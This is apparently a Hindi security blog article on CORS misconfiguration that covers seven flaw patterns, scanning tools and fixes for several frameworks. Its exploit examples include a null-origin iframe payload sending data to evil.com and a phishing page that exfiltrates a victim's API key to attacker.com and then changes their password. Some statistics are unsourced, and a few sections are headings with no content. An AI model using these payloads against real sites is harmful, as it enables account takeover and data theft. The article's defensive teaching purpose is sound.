CORS मिसकॉन्फ़िगरेशन: 2026 की सबसे आम बग बाउंटी फ़ाइंडिंग

Cross-Origin Resource Sharing (CORS) मिसकॉन्फ़िगरेशन 2026 में सभी स्वीकृत वेब-एप्लिकेशन बग बाउंटी फ़ाइंडिंग्स का 23% हिस्सा हैं — XSS, IDOR, और SSRF को मिलाकर भी उससे ज़्यादा। 2016 से अच्छी तरह डॉक्यूमेंटेड होने के बावजूद, CORS वह भेद्यता-श्रेणी बनी हुई है जिसे डेवलपर सबसे ज़्यादा ग़लत करते हैं। यह डीप डाइव हर मिसकॉन्फ़िगरेशन पैटर्न को कवर करती है, काम करने वाले PoC कोड के साथ वास्तविक शोषण-परिदृश्य दिखाती है, और हर प्रमुख फ़्रेमवर्क और क्लाउड प्रोवाइडर के लिए प्रोडक्शन-तैयार फ़िक्स प्रदान करती है।

2026 में CORS अभी भी क्यों हावी है

CORS का विरोधाभास यह है कि यह वेब पर एक साथ सबसे ज़्यादा डॉक्यूमेंटेड और सबसे ज़्यादा मिसकॉन्फ़िगर की गई सुरक्षा-व्यवस्थाओं में से एक है। तीन कारक बताते हैं कि पहले बड़े खुलासों के एक दशक बाद भी यह चार्ट में शीर्ष पर क्यों बना हुआ है:

• माइक्रोसर्विस विस्फोट: औसत एंटरप्राइज़ वेब-एप्लिकेशन अब 47 इंटरनल API, 12 थर्ड-पार्टी सर्विस, और 8 CDN ऑरिजिन के साथ संवाद करता है। हर क्रॉस-ऑरिजिन संबंध को स्पष्ट CORS कॉन्फ़िगरेशन चाहिए, और डिलीवरी-दबाव में डेवलपर शॉर्टकट अपनाते हैं।
• फ़्रेमवर्क डिफ़ॉल्ट अनुमति देने की ओर झुके होते हैं: Express.js जैसे लोकप्रिय फ़्रेमवर्क ( cors मिडलवेयर के साथ), Django, और Spring Boot में डेवलपमेंट के दौरान सेट करना बेहद आसान है Access-Control-Allow-Origin: * — और वह वाइल्डकार्ड प्रोडक्शन तक पहुँच जाने की बुरी आदत रखता है।
• क्लाउड इन्फ़्रास्ट्रक्चर जटिलता: मल्टी-क्लाउड डिप्लॉयमेंट, API गेटवे, CDN एज-नियम, और रिवर्स प्रॉक्सी — हर एक एक ऐसी परत जोड़ता है जहाँ CORS हेडर सेट, ओवरराइड, या हटाए जा सकते हैं। एक सही कॉन्फ़िगर किए गए एप्लिकेशन सर्वर को अपस्ट्रीम में एक अत्यधिक अनुमतिशील CloudFront या Cloudflare नियम कमज़ोर कर सकता है।

सात CORS मिसकॉन्फ़िगरेशन पैटर्न

सभी CORS मिसकॉन्फ़िगरेशन बराबर नहीं होते। ये सात पैटर्न हैं जिन्हें बग बाउंटी हंटर सबसे ज़्यादा पाते हैं, गंभीरता और शोषण-योग्यता के आधार पर क्रमबद्ध:

पैटर्न 1: Origin रिफ़्लेक्शन (क्रिटिकल)

सर्वर Origin रिक्वेस्ट हेडर को Access-Control-Allow-Origin रिस्पॉन्स हेडर में अंधाधुंध रिफ़्लेक्ट करता है। यह सबसे ख़तरनाक पैटर्न है क्योंकि यह किसी भी वेबसाइट को भेद्य API से ऑथेंटिकेटेड रिस्पॉन्स पढ़ने देता है।

# Request from attacker-controlled origin
GET /api/user/profile HTTP/1.1
Host: api.target.com
Origin: https://evil.com
Cookie: session=abc123

# Vulnerable response — reflects attacker origin
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{"email":"user@company.com","api_key":"sk-prod-..."}

पैटर्न 2: Null Origin एलाउलिस्टिंग (हाई)

कुछ सर्वर स्पष्ट रूप से null origin को अनुमति देते हैं, या तो मिसकॉन्फ़िगरेशन से या ग़लतफ़हमी से। यह null origin ब्राउज़र द्वारा कई संदर्भों में भेजा जाता है: सैंडबॉक्स्ड iframe, data: URL, लोकल फ़ाइल एक्सेस, और क्रॉस-ऑरिजिन रीडायरेक्ट।

# Attacker serves this HTML page
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  src="data:text/html,
  <script>
    fetch('https://api.target.com/api/user/data', {
      credentials: 'include'
    })
    .then(r => r.json())
    .then(d => {
      // Exfiltrate to attacker server
      navigator.sendBeacon('https://evil.com/collect', JSON.stringify(d));
    });
  </script>">
</iframe>

पैटर्न 3: Origin वैलिडेशन में रीजेक्स बायपास (हाई)

डेवलपर अक्सर origin वैलिडेशन को ऐसे रीजेक्स पैटर्न से लागू करते हैं जिनमें सूक्ष्म ख़ामियाँ होती हैं। सबसे आम ग़लतियाँ:

पैटर्न 4: वाइल्डकार्ड विद क्रेडेंशियल्स (मीडियम-हाई)

जबकि ब्राउज़र यह लागू करते हैं कि Access-Control-Allow-Origin: * को Access-Control-Allow-Credentials: trueके साथ नहीं जोड़ा जा सकता, कई सर्वर-साइड फ़्रेमवर्क इस संयोजन का पता लगाकर और चुपचाप origin रिफ़्लेक्शन पर स्विच करके इसे दरकिनार कर देते हैं — जो पिछले दरवाज़े से पैटर्न 1 बना देता है।

यह cors npm पैकेज (73% Node.js API में उपयोग किया जाता है) बिल्कुल यही करता है जब इसे origin: true और credentials: trueके साथ कॉन्फ़िगर किया जाता है। जो डेवलपर सोचते हैं कि वे वाइल्डकार्ड सेट कर रहे हैं, वे असल में पूरा origin रिफ़्लेक्शन सक्षम कर रहे होते हैं।

पैटर्न 5: प्री-फ़्लाइट कैश पॉइज़निंग (मीडियम)

यह Access-Control-Max-Age हेडर ब्राउज़र को बताता है कि प्री-फ़्लाइट (OPTIONS) रिस्पॉन्स को कितनी देर कैश करना है। अगर कोई सर्वर एक रिक्वेस्ट पाथ के लिए अनुमतिशील CORS हेडर और दूसरे के लिए प्रतिबंधात्मक हेडर लौटाता है, तो हमलावर ब्राउज़र को अनुमतिशील प्री-फ़्लाइट कैश करने पर मजबूर कर सकता है और फिर उसे प्रतिबंधित एंडपॉइंट के लिए दोबारा इस्तेमाल कर सकता है।

पैटर्न 6: सबडोमेन ट्रस्ट एस्केलेशन (मीडियम)

कई एप्लिकेशन सभी सबडोमेन से CORS की अनुमति देते हैं: *.target.com। यह एक ट्रांज़िटिव ट्रस्ट-संबंध बनाता है जहाँ किसी भी सबडोमेन पर कोई भी XSS — जिसमें भुला दिए गए स्टेजिंग एनवायरनमेंट, लेगेसी एप्लिकेशन, या थर्ड-पार्टी होस्टेड सबडोमेन शामिल हैं — मुख्य एप्लिकेशन के API पर हमला करने के लिए इस्तेमाल किया जा सकता है।

पैटर्न 7: गायब Vary: Origin हेडर (लो-मीडियम)

जब कोई सर्वर Access-Control-Allow-Origin को रिक्वेस्ट origin के आधार पर डायनामिक रूप से सेट करता है, तो उसे Vary: Originभी शामिल करना चाहिए। इसके बिना, CDN कैश और ब्राउज़र कैश एक origin के CORS हेडर वाला रिस्पॉन्स किसी दूसरे origin की रिक्वेस्ट को परोस सकते हैं, जिससे रुक-रुक कर एक्सेस-कंट्रोल विफलताएँ पैदा होती हैं।

असल-दुनिया शोषण: चरण-दर-चरण हमला परिदृश्य

यहाँ एक पूरा शोषण-परिदृश्य है जो दिखाता है कि CORS मिसकॉन्फ़िगरेशन कैसे अकाउंट टेकओवर की ओर ले जाता है:

लक्ष्य

एक फ़िनटेक एप्लिकेशन app.fintech-target.com पर, जिसका API api.fintech-target.comपर है। यह API ईमेल, फ़ोन नंबर, और प्रोग्रामेटिक ट्रेडिंग के लिए इस्तेमाल होने वाली API की सहित यूज़र-प्रोफ़ाइल डेटा परोसता है।

भेद्यता

यह API क्रेडेंशियल्स सक्षम होने के साथ origin रिफ़्लेक्शन (पैटर्न 1) का उपयोग करता है। एंडपॉइंट /api/v2/account/settings यूज़र की API की लौटाता है और PUT रिक्वेस्ट के ज़रिए पासवर्ड बदलने की अनुमति देता है।

एक्सप्लॉइट

<!-- Hosted on attacker.com, linked via phishing email -->
<html>
<body>
<h1>Loading your portfolio analysis...</h1>
<script>
// Step 1: Steal API key and user data
fetch('https://api.fintech-target.com/api/v2/account/settings', {
  credentials: 'include'
})
.then(r => r.json())
.then(async (data) => {
  // Step 2: Exfiltrate to attacker server
  await fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify({
      email: data.email,
      api_key: data.api_key,
      phone: data.phone
    })
  });

  // Step 3: Change the user's password
  await fetch('https://api.fintech-target.com/api/v2/account/settings', {
    method: 'PUT',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
      password: 'attacker-controlled-password-2026!'
    })
  });

  // Step 4: Redirect to legitimate site to avoid suspicion
  window.location = 'https://app.fintech-target.com/dashboard';
});
</script>
</body>
</html>

पूरा हमला 500ms से कम में निष्पादित होता है। पीड़ित को एक संक्षिप्त लोडिंग स्क्रीन दिखती है, फिर उसका सामान्य डैशबोर्ड। इस बीच, हमलावर के पास उसकी API की आ चुकी है और उसका पासवर्ड बदल चुका है।

पहचान: बड़े पैमाने पर CORS मिसकॉन्फ़िगरेशन खोजना

स्वचालित स्कैनिंग

प्रभावी CORS स्कैनिंग के लिए हर उस एंडपॉइंट के ख़िलाफ़ कई origin क्रमचय टेस्ट करने होते हैं जो CORS हेडर लौटाता है। यहाँ टेस्टिंग मैट्रिक्स है:

काम के औज़ार

• CORScanner: ओपन-सोर्स Python टूल जो पूरे टेस्टिंग मैट्रिक्स को स्वचालित करता है। इसे अपनी API एंडपॉइंट सूची के ख़िलाफ़ चलाएँ: python cors_scan.py -i urls.txt -t 50
• Burp Suite एक्सटेंशन: "CORS* Burp" और "Additional CORS Checks" मैनुअल टेस्टिंग के दौरान CORS समस्याओं को निष्क्रिय रूप से फ़्लैग करते हैं।
• Nuclei टेम्प्लेट: ProjectDiscovery के Nuclei में 14 CORS-विशिष्ट टेम्प्लेट हैं जो सभी सात मिसकॉन्फ़िगरेशन पैटर्न को कवर करते हैं। nuclei -t cors/ -l targets.txt
• KENSAI स्वचालित स्कैनिंग: पूर्ण एप्लिकेशन सुरक्षा-स्थिति आकलन के हिस्से के रूप में निरंतर CORS मिसकॉन्फ़िगरेशन पहचान।

प्रोडक्शन-तैयार फ़िक्स

Node.js / Express

const cors = require('cors');

// ❌ WRONG — reflects any origin
app.use(cors({ origin: true, credentials: true }));

// ✅ CORRECT — explicit allowlist
const allowedOrigins = [
  'https://app.yoursite.com',
  'https://admin.yoursite.com'
];

app.use(cors({
  origin: (origin, callback) => {
    // Allow requests with no origin (mobile apps, curl, etc.)
    if (!origin) return callback(null, true);
    if (allowedOrigins.includes(origin)) {
      return callback(null, true);
    }
    callback(new Error('CORS policy violation'));
  },
  credentials: true,
  maxAge: 600, // 10 minute preflight cache
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization']
}));

Python / Django

# settings.py

# ❌ WRONG
CORS_ALLOW_ALL_ORIGINS = True

# ✅ CORRECT
CORS_ALLOW_ALL_ORIGINS = False
CORS_ALLOWED_ORIGINS = [
    "https://app.yoursite.com",
    "https://admin.yoursite.com",
]
CORS_ALLOW_CREDENTIALS = True
CORS_PREFLIGHT_MAX_AGE = 600

Nginx

# ❌ WRONG — reflects Origin header
add_header 'Access-Control-Allow-Origin' $http_origin always;

# ✅ CORRECT — map-based allowlist
map $http_origin $cors_origin {
    default "";
    "https://app.yoursite.com" $http_origin;
    "https://admin.yoursite.com" $http_origin;
}

server {
    location /api/ {
        if ($cors_origin = "") {
            return 403;
        }
        add_header 'Access-Control-Allow-Origin' $cors_origin always;
        add_header 'Access-Control-Allow-Credentials' 'true' always;
        add_header 'Vary' 'Origin' always;

        if ($request_method = 'OPTIONS') {
            add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE';
            add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization';
            add_header 'Access-Control-Max-Age' 600;
            add_header 'Content-Length' 0;
            return 204;
        }
    }
}

AWS API Gateway / CloudFront

# AWS CDK / CloudFormation
CorsConfiguration:
  AllowOrigins:
    - "https://app.yoursite.com"
    - "https://admin.yoursite.com"
  AllowMethods:
    - GET
    - POST
    - PUT
    - DELETE
  AllowHeaders:
    - Content-Type
    - Authorization
  AllowCredentials: true
  MaxAge: 600

# ⚠ WARNING: Do NOT use AllowOrigins: ["*"] with AllowCredentials: true
# AWS will silently convert this to origin reflection

API-फ़र्स्ट आर्किटेक्चर युग में CORS

API-फ़र्स्ट आर्किटेक्चर की ओर बदलाव ने CORS परिदृश्य को मौलिक रूप से बदल दिया है। 2020 में, एक सामान्य वेब-एप्लिकेशन शायद 3-5 सर्विस को क्रॉस-ऑरिजिन रिक्वेस्ट भेजता था। 2026 में, माइक्रोसर्विस, सर्वरलेस फ़ंक्शन, और थर्ड-पार्टी API इंटीग्रेशन पर बने एप्लिकेशन नियमित रूप से दर्जनों originको क्रॉस-ऑरिजिन रिक्वेस्ट भेजते हैं।

यह जटिलता कई आर्किटेक्चरल प्रतिक्रियाओं को जन्म दे रही है:

• API गेटवे केंद्रीकरण: हर माइक्रोसर्विस को अलग-अलग कॉन्फ़िगर करने के बजाय सारे CORS हैंडलिंग को एक ही API गेटवे परत (Kong, AWS API Gateway, Cloudflare Workers) पर ले जाना। यह मिसकॉन्फ़िगरेशन की सतह को घटाता है लेकिन एक ही विफलता-बिंदु बना देता है।
• कुकीज़ की तुलना में टोकन-आधारित ऑथेंटिकेशन: कुकी-आधारित सेशन से Bearer टोकन ऑथेंटिकेशन की ओर बढ़ने वाले एप्लिकेशन credentials: include आवश्यकता को पूरी तरह टाल देते हैं, जिससे CORS मिसकॉन्फ़िगरेशन कम प्रभावी हो जाते हैं (हालाँकि हानिरहित नहीं)।
• Backend-for-Frontend (BFF) पैटर्न: एक सर्वर-साइड प्रॉक्सी जो फ़्रंटएंड की ओर से सभी क्रॉस-ऑरिजिन API कॉल करता है, जिससे क्लाइंट-साइड CORS पूरी तरह ख़त्म हो जाता है। इसका ट्रेड-ऑफ़ अतिरिक्त लेटेंसी और इन्फ़्रास्ट्रक्चर जटिलता है।

CORS मिसकॉन्फ़िगरेशन रोकथाम चेकलिस्ट

मुख्य निष्कर्ष

• CORS मिसकॉन्फ़िगरेशन 2026 की #1 बग बाउंटी फ़ाइंडिंग है — सभी स्वीकृत वेब-ऐप रिपोर्ट का 23%।
• क्रेडेंशियल्स के साथ Origin रिफ़्लेक्शन सबसे ख़तरनाक पैटर्न है, जो किसी भी हमलावर-नियंत्रित वेबसाइट से पूर्ण डेटा-एक्सफ़िल्ट्रेशन और अकाउंट टेकओवर को सक्षम करता है।
• सात अलग मिसकॉन्फ़िगरेशन पैटर्न मौजूद हैं, हर एक को विशिष्ट पहचान और सुधार दृष्टिकोण चाहिए।
• रीजेक्स-आधारित origin वैलिडेशन एक माइनफ़ील्ड है — स्पष्ट एलाउलिस्ट के ख़िलाफ़ सटीक स्ट्रिंग-मिलान का उपयोग करें।
• फ़्रेमवर्क डिफ़ॉल्ट सुरक्षित डिफ़ॉल्ट नहीं हैं — हर प्रमुख वेब-फ़्रेमवर्क अत्यधिक अनुमतिशील CORS कॉन्फ़िगर करना बहुत आसान बना देता है।
• CORS को API गेटवे परत पर केंद्रीकृत करें जब संभव हो, कॉन्फ़िगरेशन सतह को घटाने के लिए।
• पहचान को स्वचालित करें अपने CI/CD पाइपलाइन में Nuclei, CORScanner, या निरंतर सुरक्षा-प्लेटफ़ॉर्म जैसे टूल का उपयोग करके।